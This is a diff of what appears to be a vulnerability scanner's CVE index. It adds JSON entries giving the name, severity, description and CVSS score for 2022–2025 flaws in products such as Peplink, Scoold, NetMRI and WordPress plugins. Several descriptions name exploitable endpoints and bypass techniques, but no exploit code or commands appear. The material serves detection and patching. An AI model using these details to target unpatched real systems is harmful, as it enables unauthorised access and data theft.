 {"ID":"CVE-2022-23347","Info":{"Name":"BigAnt Server v5.6.06 - Local File Inclusion","Severity":"high","Description":"BigAnt Server v5.6.06 is vulnerable to local file inclusion.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-23347.yaml"}
 {"ID":"CVE-2022-23348","Info":{"Name":"BigAnt Server 5.6.06 - Improper Access Control","Severity":"medium","Description":"BigAnt Server 5.6.06 is susceptible to improper access control. The software utililizes weak password hashes. An attacker can craft a password hash and thereby possibly possibly obtain sensitive information, modify data, and/or execute unauthorized operations.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-23348.yaml"}
+{"ID":"CVE-2022-23397","Info":{"Name":"Cedar Gate EZ-NET \u003c= 6.8.0 - Cross-Site Scripting","Severity":"medium","Description":"The Cedar Gate EZ-NET portal 6.5.5 6.8.0 Internet portal has a call to display messages to users which does not properly sanitize data sent in through a URL parameter. This leads to a Reflected Cross-Site Scripting vulnerability.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-23397.yaml"}
 {"ID":"CVE-2022-23544","Info":{"Name":"MeterSphere \u003c 2.5.0 SSRF","Severity":"medium","Description":"MeterSphere is a one-stop open source continuous testing platform, covering test management, interface testing, UI testing and performance testing. Versions prior to 2.5.0 are subject to a Server-Side Request Forgery that leads to Cross-Site Scripting. A Server-Side request forgery in `IssueProxyResourceService::getMdImageByUrl` allows an attacker to access internal resources, as well as executing JavaScript code in the context of Metersphere's origin by a victim of a reflected XSS. This vulnerability has been fixed in v2.5.0. There are no known workarounds.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-23544.yaml"}
 {"ID":"CVE-2022-2373","Info":{"Name":"WordPress Simply Schedule Appointments \u003c1.5.7.7 - Information Disclosure","Severity":"medium","Description":"WordPress Simply Schedule Appointments plugin before 1.5.7.7 is susceptible to information disclosure. The plugin is missing authorization in a REST endpoint, which can allow an attacker to retrieve user details such as name and email address.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-2373.yaml"}
 {"ID":"CVE-2022-2376","Info":{"Name":"WordPress Directorist \u003c7.3.1 - Information Disclosure","Severity":"medium","Description":"WordPress Directorist plugin before 7.3.1 is susceptible to information disclosure. The plugin discloses the email address of all users in an AJAX action available to both unauthenticated and authenticated users.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-2376.yaml"}
@@ -2518,6 +2521,7 @@
 {"ID":"CVE-2023-48777","Info":{"Name":"WordPress Elementor 3.18.1 - File Upload/Remote Code Execution","Severity":"critical","Description":"The plugin is vulnerable to Remote Code Execution via file upload via the template import functionality, allowing authenticated attackers, with contributor-level access and above, to upload files and execute code on the server.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2023/CVE-2023-48777.yaml"}
 {"ID":"CVE-2023-49070","Info":{"Name":"Apache OFBiz \u003c 18.12.10 - Arbitrary Code Execution","Severity":"critical","Description":"Pre-auth RCE in Apache Ofbiz 18.12.09. It's due to XML-RPC no longer maintained still present. This issue affects Apache OFBiz: before 18.12.10.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-49070.yaml"}
 {"ID":"CVE-2023-49103","Info":{"Name":"OwnCloud - Phpinfo Configuration","Severity":"high","Description":"An issue was discovered in ownCloud owncloud/graphapi 0.2.x before 0.2.1 and 0.3.x before 0.3.1. The graphapi app relies on a third-party GetPhpInfo.php library that provides a URL. When this URL is accessed, it reveals the configuration details of the PHP environment (phpinfo). This information includes all the environment variables of the webserver. In containerized deployments, these environment variables may include sensitive data such as the ownCloud admin password, mail server credentials, and license key. Simply disabling the graphapi app does not eliminate the vulnerability. Additionally, phpinfo exposes various other potentially sensitive configuration details that could be exploited by an attacker to gather information about the system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-49103.yaml"}
+{"ID":"CVE-2023-49230","Info":{"Name":"Peplink Balance Two before 8.4.0 - Unauthenticated Config Upload","Severity":"high","Description":"A vulnerability in Peplink Balance Two prior to version 8.4.0 allows unauthenticated attackers to modify captive portal configurations due to a missing authorization check. Specifically, attackers can upload files via /guest/portal_admin_upload.cgi, with the changes reflected at /guest/preview.cgi?portal_id=1.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2023/CVE-2023-49230.yaml"}
 {"ID":"CVE-2023-49489","Info":{"Name":"KodeExplorer 4.51 - Reflective Cross Site Scripting (XSS)","Severity":"medium","Description":"Reflective Cross Site Scripting (XSS) vulnerability in KodExplorer version 4.51, allows attackers to obtain sensitive information and escalate privileges via the APP_HOST parameter at config/i18n/en/main.php.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-49489.yaml"}
 {"ID":"CVE-2023-49494","Info":{"Name":"DedeCMS v5.7.111 - Cross-Site Scripting","Severity":"medium","Description":"DedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the component select_media_post_wangEditor.php.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-49494.yaml"}
 {"ID":"CVE-2023-4966","Info":{"Name":"Citrix Bleed - Leaking Session Tokens","Severity":"high","Description":"Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA ?virtual?server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-4966.yaml"}
@@ -2875,6 +2879,7 @@
 {"ID":"CVE-2024-4940","Info":{"Name":"Gradio - Open Redirect","Severity":"medium","Description":"An open redirect vulnerability exists in the gradio-app/gradio, affecting the latest version. The vulnerability allows an attacker to redirect users to arbitrary websites, which can be exploited for phishing attacks, Cross-site Scripting (XSS), Server-Side Request Forgery (SSRF), amongst others. This issue is due to improper validation of user-supplied input in the handling of URLs. Attackers can exploit this vulnerability by crafting a malicious URL that, when processed by the application, redirects the user to an attacker-controlled web page.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2024/CVE-2024-4940.yaml"}
 {"ID":"CVE-2024-4956","Info":{"Name":"Sonatype Nexus Repository Manager 3 - Local File Inclusion","Severity":"high","Description":"Path Traversal in Sonatype Nexus Repository 3 allows an unauthenticated attacker to read system files. Fixed in version 3.68.1.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-4956.yaml"}
 {"ID":"CVE-2024-49757","Info":{"Name":"Zitadel - User Registration Bypass","Severity":"high","Description":"The open-source identity infrastructure software Zitadel allows administrators to disable the user self-registration. Due to a missing security check in versions prior to 2.64.0, 2.63.5, 2.62.7, 2.61.4, 2.60.4, 2.59.5, and 2.58.7, disabling the \"User Registration allowed\" option only hid the registration button on the login page. Users could bypass this restriction by directly accessing the registration URL (/ui/login/loginname) and register a user that way. Versions 2.64.0, 2.63.5, 2.62.7, 2.61.4, 2.60.4, 2.59.5, and 2.58.7 contain a patch. No known workarounds are available.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-49757.yaml"}
+{"ID":"CVE-2024-50334","Info":{"Name":"Scoold \u003c 1.64.0 - Authentication Bypass","Severity":"medium","Description":"Scoold is a Q\u0026A and a knowledge sharing platform for teams. A semicolon path injection vulnerability was found on the /api;/config endpoint. By appending a semicolon in the URL, attackers can bypass authentication and gain unauthorised access to sensitive configuration data. Furthermore, PUT requests on the /api;/config endpoint while setting the Content-Type- application/hocon header allow unauthenticated attackers to file reading via HOCON file inclusion. This allows attackers to retrieve sensitive information such as configuration files from the server, which can be leveraged for further exploitation. The vulnerability has been fixed in Scoold 1.64.0. A workaround would be to disable the Scoold API with scoold.api_enabled = false.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-50334.yaml"}
 {"ID":"CVE-2024-50340","Info":{"Name":"Symfony Profiler - Remote Access via Injected Arguments","Severity":"high","Description":"symfony/runtime is a module for the Symphony PHP framework which enables decoupling PHP applications from global state. When the `register_argv_argc` php directive is set to `on` , and users call any URL with a special crafted query string, they are able to change the environment or debug mode used by the kernel when handling the request. As of versions 5.4.46, 6.4.14, and 7.1.7 the `SymfonyRuntime` now ignores the `argv` values for non-SAPI PHP runtimes.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2024/CVE-2024-50340.yaml"}
 {"ID":"CVE-2024-50498","Info":{"Name":"WP Query Console \u003c= 1.0 - Remote Code Execution","Severity":"critical","Description":"Improper Control of Generation of Code ('Code Injection') vulnerability in LUBUS WP Query Console allows Code Injection.This issue affects WP Query Console- from n/a through 1.0.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-50498.yaml"}
 {"ID":"CVE-2024-50603","Info":{"Name":"Aviatrix Controller - Remote Code Execution","Severity":"critical","Description":"An issue was discovered in Aviatrix Controller before 7.1.4191 and 7.2.x before 7.2.4996. Due to the improper neutralization of special elements used in an OS command, an unauthenticated attacker is able to execute arbitrary code. Shell metacharacters can be sent to /v1/api in cloud_type for list_flightpath_destination_instances, or src_cloud_type for flightpath_connection_test.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-50603.yaml"}
@@ -2890,7 +2895,7 @@
 {"ID":"CVE-2024-51567","Info":{"Name":"CyberPanel v2.3.6 Pre-Auth Remote Code Execution","Severity":"critical","Description":"upgrademysqlstatus in databases/views.py in CyberPanel (aka Cyber Panel) before 5b08cd6 allows remote attackers to bypass authentication and execute arbitrary commands via /dataBases/upgrademysqlstatus by bypassing secMiddleware (which is only for a POST request) and using shell metacharacters in the statusfile property, as exploited in the wild in October 2024 by PSAUX. Versions through 2.3.6 and (unpatched) 2.3.7 are affected.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-51567.yaml"}
 {"ID":"CVE-2024-51739","Info":{"Name":"iTop - User Enumeration via REST Endpoint","Severity":"medium","Description":"From the webservices/rest.php file, several operations are accessible from an unauthenticated user. One of them is `do_reset_pwd`, allowing to reset a user password. This feature can be abused to perform user enumeration when a non-existent user is provided.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-51739.yaml"}
 {"ID":"CVE-2024-51977","Info":{"Name":"Brother MFC-L9570CDW - Information Disclosure","Severity":"medium","Description":"An unauthenticated attacker who can access either the HTTP service (TCP port 80), the HTTPS service (TCP port 443), or the IPP service (TCP port 631), can leak several pieces of sensitive information from a vulnerable device. The URI path /etc/mnt_info.csv can be accessed via a GET request and no authentication is required. The returned result is a comma separated value (CSV) table of information. The leaked information includes the device’s model, firmware version, IP address, and serial number.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-51977.yaml"}
-{"ID":"CVE-2024-51978","Info":{"Name":"Brother Printers – Authentication Bypass via Default Admin Password","Severity":"critical","Description":"By leaking a target device's serial number, a remote attacker can generate the target device's default administrator password.\nThe target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, SNMP, or PJL requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-51978.yaml"}
+{"ID":"CVE-2024-51978","Info":{"Name":"Brother Printers – Authentication Bypass via Default Admin Password","Severity":"critical","Description":"By leaking a target device's serial number, a remote attacker can generate the target device's default administrator password. The target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, SNMP, or PJL requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-51978.yaml"}
 {"ID":"CVE-2024-5217","Info":{"Name":"ServiceNow - Incomplete Input Validation","Severity":"critical","Description":"ServiceNow has addressed an input validation vulnerability that was identified in the Washington DC, Vancouver, and earlier Now Platform releases. This vulnerability could enable an unauthenticated user to remotely execute code within the context of the Now Platform. The vulnerability is addressed in the listed patches and hot fixes below, which were released during the June 2024 patching cycle. If you have not done so already, we recommend applying security patches relevant to your instance as soon as possible.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-5217.yaml"}
 {"ID":"CVE-2024-5230","Info":{"Name":"FleetCart 4.1.1 - Information Disclosure","Severity":"medium","Description":"Issues with information disclosure in redirect responses. Accessing the majority of the website's pages exposes sensitive data, including the \"Razorpay\" \"razorpayKeyId\".\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-5230.yaml"}
 {"ID":"CVE-2024-52433","Info":{"Name":"My Geo Posts Free \u003c= 1.2 - PHP Object Injection","Severity":"critical","Description":"The My Geo Posts Free plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 1.2 via deserialization of untrusted input. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-52433.yaml"}
@@ -3032,6 +3037,7 @@
 {"ID":"CVE-2025-1661","Info":{"Name":"HUSKY – Products Filter Professional for WooCommerce \u003c= 1.3.6.5 - Unauthenticated Local File Inclusion","Severity":"critical","Description":"The HUSKY – Products Filter Professional for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.3.6.5 via the 'template' parameter of the woof_text_search AJAX action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1661.yaml"}
 {"ID":"CVE-2025-1743","Info":{"Name":"Pichome 2.1.0 - Arbitrary File Read","Severity":"high","Description":"A vulnerability, which was classified as critical, was found in zyx0814 Pichome 2.1.0. This affects an unknown part of the file /index.php?mod=textviewer. The manipulation of the argument src leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-1743.yaml"}
 {"ID":"CVE-2025-1974","Info":{"Name":"Ingress-Nginx Controller - Remote Code Execution","Severity":"critical","Description":"A security issue was discovered in Kubernetes where under certain conditions, an unauthenticated attacker with access to the pod network can achieve arbitrary code execution in the context of the ingress-nginx controller. This can lead to disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1974.yaml"}
+{"ID":"CVE-2025-2010","Info":{"Name":"WordPress JobWP Plugin \u003c= 2.3.9 - SQL Injection","Severity":"critical","Description":"The JobWP - Job Board, Job Listing, Career Page and Recruitment Plugin plugin for WordPress is vulnerable to SQL Injection via the 'jobwp_upload_resume' parameter in all versions up to, and including, 2.3.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-2010.yaml"}
 {"ID":"CVE-2025-2011","Info":{"Name":"Slider \u0026 Popup Builder by Depicter \u003c= 3.6.1 - Unauthenticated SQL Injection","Severity":"high","Description":"The Slider \u0026 Popup Builder by Depicter plugin for WordPress is vulnerable to generic SQL Injection via the ‘s' parameter in all versions up to, and including, 3.6.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-2011.yaml"}
 {"ID":"CVE-2025-20188","Info":{"Name":"Cisco IOS XE WLC - Arbitrary File Upload","Severity":"critical","Description":"A vulnerability in the Out-of-Band Access Point (AP) Image Download feature of Cisco IOS XE Software for Wireless LAN Controllers (WLCs) could allow an unauthenticated, remote attacker to upload arbitrary files to an affected system.This vulnerability is due to the presence of a hard-coded JSON Web Token (JWT) on an affected system.An attacker could exploit this vulnerability by sending crafted HTTPS requests to the AP image download interface. A successful exploit could allow the attacker to upload files, perform path traversal, and execute arbitrary commands with root privileges.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-20188.yaml"}
 {"ID":"CVE-2025-2075","Info":{"Name":"Uncanny Automator \u003c= 6.3.0.2 - Missing Authorization to Authenticated (Subscriber+) Privilege Escalation","Severity":"high","Description":"The Uncanny Automator - Easy Automation, Integration, Webhooks \u0026 Workflow Builder Plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.3.0.2. This is due to add_role() and user_role() functions missing proper capability checks performed through the validate_rest_call() function. This makes it possible for unauthenticated attackers to set the role of arbitrary users to administrator granting full access to the site, though privilege escalation requires an active account on the site so this is considered an authenticated privilege escalation.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-2075.yaml"}
@@ -3058,6 +3064,7 @@
 {"ID":"CVE-2025-27134","Info":{"Name":"Joplin 3.3.3 Server - Privilege Escalation","Severity":"high","Description":"Joplin is a free, open source note taking and to-do application, which can handle a large number of notes organised into notebooks. Prior to version 3.3.3, a privilege escalation vulnerability exists in the Joplin server, allowing non-admin users to exploit the API endpoint `PATCH /api/users/-id` to set the `is_admin` field to 1. The vulnerability allows malicious low-privileged users to perform administrative actions without proper authorization. This issue has been patched in version 3.3.3.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-27134.yaml"}
 {"ID":"CVE-2025-27218","Info":{"Name":"Sitecore Experience Manager (XM)/Experience Platform (XP) 10.4 - Insecure Deserialization","Severity":"medium","Description":"Sitecore Experience Manager (XM) and Experience Platform (XP) 10.4 before KB1002844 allow remote code execution through insecure deserialization.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-27218.yaml"}
 {"ID":"CVE-2025-2748","Info":{"Name":"Kentico Xperience CMS - Unauthenticated Stored XSS","Severity":"medium","Description":"The Kentico Xperience application does not fully validate or filter files uploaded via the multiple-file upload functionality, which allows for stored XSS.This issue affects Kentico Xperience through 13.0.178.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-2748.yaml"}
+{"ID":"CVE-2025-27505","Info":{"Name":"GeoServer - Missing Authorization on REST API Index","Severity":"medium","Description":"GeoServer contains a missing authorization vulnerability that allows unauthorized access to the REST API Index page, potentially exposing sensitive configuration information.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-27505.yaml"}
 {"ID":"CVE-2025-2775","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Checkin processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2775.yaml"}
 {"ID":"CVE-2025-2776","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Server URL processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2776.yaml"}
 {"ID":"CVE-2025-2777","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the lshw processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2777.yaml"}
@@ -3081,17 +3088,24 @@
 {"ID":"CVE-2025-32101","Info":{"Name":"UNA CMS \u003c= 14.0.0-RC4 - PHP Object Injection","Severity":"critical","Description":"The vulnerability is located in the /template/scripts/BxBaseMenuSetAclLevel.php script. Specifically, within the BxBaseMenuSetAclLevel::getCode() method. When calling this method, user input passed through the \"profile_id\" POST parameter is not properly sanitized before being used in a call to the unserialize() PHP function. This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP objects into the application scope, allowing them to perform a variety of attacks, such as writing and executing arbitrary PHP code.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-32101.yaml"}
 {"ID":"CVE-2025-32432","Info":{"Name":"CraftCMS - Remote Code Execution","Severity":"critical","Description":"Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. Starting from version 3.0.0-RC1 to before 3.9.15, 4.0.0-RC1 to before 4.14.15, and 5.0.0-RC1 to before 5.6.17, Craft is vulnerable to remote code execution. This is a high-impact, low-complexity attack vector.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-32432.yaml"}
 {"ID":"CVE-2025-3248","Info":{"Name":"Langflow AI - Unauthenticated Remote Code Execution","Severity":"critical","Description":"Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-3248.yaml"}
+{"ID":"CVE-2025-32813","Info":{"Name":"Infoblox NetMRI \u003c 7.6.1 - Unauthenticated Command Injection in get_saml_request","Severity":"high","Description":"An issue was discovered in Infoblox NETMRI before 7.6.1. Remote Unauthenticated Command Injection can occur.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2025/CVE-2025-32813.yaml"}
+{"ID":"CVE-2025-32814","Info":{"Name":"NetMRI Unauthenticated SQL Injection via skipjackUsername","Severity":"critical","Description":"An issue was discovered in Infoblox NETMRI before 7.6.1. Unauthenticated SQL Injection can occur.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-32814.yaml"}
+{"ID":"CVE-2025-32815","Info":{"Name":"NetMRI \u003c 7.6.1 - Authentication Bypass via Hardcoded Credentials","Severity":"medium","Description":"An issue was discovered in Infoblox NETMRI before 7.6.1. Authentication Bypass via a Hardcoded credential can occur.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-32815.yaml"}
 {"ID":"CVE-2025-34026","Info":{"Name":"Versa Concerto Actuator Endpoint - Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability affected the Spring Boot Actuator endpoints in Versa Concerto due to improper handling of the X-Real-Ip header.Attackers could access restricted endpoints by omitting this header.The issue allowed unauthorized access to sensitive functionality, highlighting the need for proper header validation.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34026.yaml"}
 {"ID":"CVE-2025-34027","Info":{"Name":"Versa Concerto API Path Based - Authentication Bypass","Severity":"critical","Description":"Authentication bypass in the Versa Concerto API, caused by URL decoding inconsistencies. It allowed unauthorized access to certain API endpoints by manipulating the URL path.This issue enabled attackers to bypass authentication controls and access restricted resources.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34027.yaml"}
 {"ID":"CVE-2025-34028","Info":{"Name":"Commvault - SSRF via /commandcenter/deployWebpackage.do","Severity":"critical","Description":"A path traversal vulnerability in Commvault Command Center Innovation Release allows an unauthenticated actor to upload ZIP files, which, when expanded by the target server, result in Remote Code Execution. This issue affects Command Center Innovation Release: 11.38.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-34028.yaml"}
 {"ID":"CVE-2025-34031","Info":{"Name":"Moodle Jmol Filter 6.1 - Local File Inclusion","Severity":"high","Description":"Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-34031.yaml"}
 {"ID":"CVE-2025-34032","Info":{"Name":"Moodle LMS Jmol Plugin \u003c= 6.1 - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in the Moodle LMS Jmol plugin version 6.1 and prior via the data parameter in jsmol.php. The application fails to properly sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-34032.yaml"}
+{"ID":"CVE-2025-34040","Info":{"Name":"Zhiyuan OA Platform - Arbitrary File Upload","Severity":"critical","Description":"An arbitrary file upload vulnerability exists in the Zhiyuan OA platform 5.0, 5.1 - 5.6sp1, 6.0 - 6.1sp2, 7.0, 7.0sp1 - 7.1, 7.1sp1, and 8.0 - 8.0sp2 via the wpsAssistServlet interface. The realFileType and fileId parameters are improperly validated during multipart file uploads, allowing unauthenticated attackers to upload crafted JSP files outside of intended directories using path traversal. Successful exploitation enables remote code execution as the uploaded file can be accessed and executed through the web server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34040.yaml"}
+{"ID":"CVE-2025-34085","Info":{"Name":"WordPress Simple File List \u003c=4.2.2 - Remote Code Execution","Severity":"critical","Description":"An unrestricted file upload vulnerability in the WordPress Simple File List plugin before version 4.2.3 allows unauthenticated remote attackers to achieve remote code execution. The plugin's upload endpoint (ee-upload-engine.php) restricts file uploads based on extension, but lacks proper validation after file renaming. An attacker can first upload a PHP payload disguised as a .png file, then use the plugin’s ee-file-engine.php rename functionality to change the extension to .php. This bypasses upload restrictions and results in the uploaded payload being executable on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-34085.yaml"}
 {"ID":"CVE-2025-3415","Info":{"Name":"Grafana - Exposes DingDing API Keys","Severity":"medium","Description":"An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-3415.yaml"}
 {"ID":"CVE-2025-4008","Info":{"Name":"MeteoBridge \u003c= 6.1 - Remote Code Execution","Severity":"high","Description":"The Meteobridge web interface let meteobridge administrator manage their weather station data collection and administer their meteobridge system through a web application written in CGI shell scripts and C.This web interface exposes an endpoint that is vulnerable to command injection.Remote unauthenticated attackers can gain arbitrary command execution with elevated privileges ( root ) on affected devices.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4008.yaml"}
 {"ID":"CVE-2025-4009","Info":{"Name":"Evertz SDVN 3080ipx-10G - Unauthenticated Arbitrary Command Injection","Severity":"critical","Description":"The Evertz SDVN 3080ipx-10G is a High Bandwidth Ethernet Switching Fabric for Video Application. This device exposes a web management interface on port 80. This web management interface can be used by administrators to control product features, setup network switching, and register license among other features. The application has been developed in PHP with the webEASY SDK, also named ‘ewb’ by Evertz.This web interface has two endpoints that are vulnerable to arbitrary command injection and the authentication mechanism has a flaw leading to authentication bypass.Remote unauthenticated attackers can gain arbitrary command execution with elevated privileges ( root ) on affected devices.This level of access could lead to serious business impact such as the interruption of media streaming, modification of media being streamed, alteration of closed captions being generated, among others.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-4009.yaml"}
 {"ID":"CVE-2025-4123","Info":{"Name":"Grafana - XSS / Open Redirect / SSRF via Client Path Traversal","Severity":"high","Description":"An open redirect vulnerability in Grafana can be chained with other issues, such as XSS or SSRF, to increase impact. An attacker may exploit the redirect to target internal services or deliver malicious JavaScript, potentially leading to internal data exposure or account takeover.\n","Classification":{"CVSSScore":"7.6"}},"file_path":"http/cves/2025/CVE-2025-4123.yaml"}
 {"ID":"CVE-2025-41393","Info":{"Name":"Ricoh Web Image Monitor - Reflected XSS","Severity":"medium","Description":"A reflected cross-site scripting vulnerability exists in the laser printers and MFPs (multifunction printers) which implement Ricoh Web Image Monitor. If exploited, an arbitrary script may be executed on the web browser of the user who accessed Web Image Monitor.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-41393.yaml"}
+{"ID":"CVE-2025-41646","Info":{"Name":"RevPi Webstatus \u003c= v2.4.5 - Authentication Bypass","Severity":"critical","Description":"An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-41646.yaml"}
 {"ID":"CVE-2025-4322","Info":{"Name":"Motors \u003c= 5.6.67 - Unauthenticated Privilege Escalation via Password Update/Account Takeover","Severity":"critical","Description":"The Motors theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 5.6.67. This is due to the theme not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user passwords, including those of administrators, and leverage that to gain access to their account.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4322.yaml"}
+{"ID":"CVE-2025-4380","Info":{"Name":"Ads Pro Plugin \u003c= 4.89 - Local File Inclusion","Severity":"critical","Description":"The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.89 via the 'bsa_template' parameter of the `bsa_preview_callback` function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases .php files can can be uploaded and included, or already exist on the site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4380.yaml"}
